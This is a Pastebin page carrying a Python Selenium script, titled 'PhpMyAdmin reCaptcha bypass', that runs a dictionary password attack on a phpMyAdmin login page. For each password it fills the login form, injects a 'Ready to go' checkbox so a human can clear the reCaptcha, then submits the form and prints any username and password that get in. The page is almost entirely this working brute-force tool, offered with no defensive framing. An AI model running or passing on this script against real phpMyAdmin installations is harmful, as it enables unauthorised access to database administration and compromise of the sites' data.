Advertisement
Guest User

PhpMyAdmin reCaptcha bypass

a guest
Sep 5th, 2015
908
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.79 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # Author: Anton Kuzmin
  5. # Web Site: http://anton-kuzmin.ru
  6.  
  7. from selenium import webdriver
  8. import selenium.common, sys, time, os
  9.  
  10. TARGET_URL = sys.argv[1]
  11. LOGIN = sys.argv[2]
  12. DICT = sys.argv[3]
  13.  
  14. if not os.path.exists(DICT):
  15.     print " Dictionary {0} not exists".format(DICT)
  16.     exit(0)
  17.  
  18. # Run browser
  19. browser = webdriver.Firefox()
  20. # Open URL with PMA
  21. browser.get(TARGET_URL)
  22.  
  23. for passw in open(DICT).readlines():
  24.     # Fill the login field
  25.     login_field = browser.find_element_by_id("input_username")
  26.     login_field.clear()
  27.     login_field.send_keys(LOGIN)
  28.     # Fill the password field
  29.     password_field = browser.find_element_by_id("input_password")
  30.     password_field.clear()
  31.     password_field.send_keys(passw.strip())
  32.  
  33.     while True:
  34.         # We have reCaptcha in code?
  35.         if browser.page_source.count("recaptcha/api.js"):
  36.             try:
  37.         # If human checked "Ready to go" - we cab work
  38.                 if browser.find_element_by_id("ready_to_go").get_attribute("checked") == 'true':
  39.                     break
  40.             except selenium.common.exceptions.NoSuchElementException:
  41.         # Adding checkbox "Ready to work" - human check this when captcha will done
  42.                 browser.execute_script("jQuery('div.container').append('<input type=\"checkbox\" id=\"ready_to_go\">Ready to go')")
  43.         else:
  44.             break
  45.  
  46.         time.sleep(1)
  47.  
  48.     # Click form button
  49.     browser.find_element_by_id("input_go").click()
  50.  
  51.     if browser.page_source.count("changelog.php"):
  52.         print("YES: {0} - {1}".format(LOGIN, passw))
  53.         break
  54.  
  55. # Close browser
  56. try:
  57.     browser.close()
  58.     browser.quit()
  59.     browser.binary.process.kill()
  60. except Exception as e:
  61.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement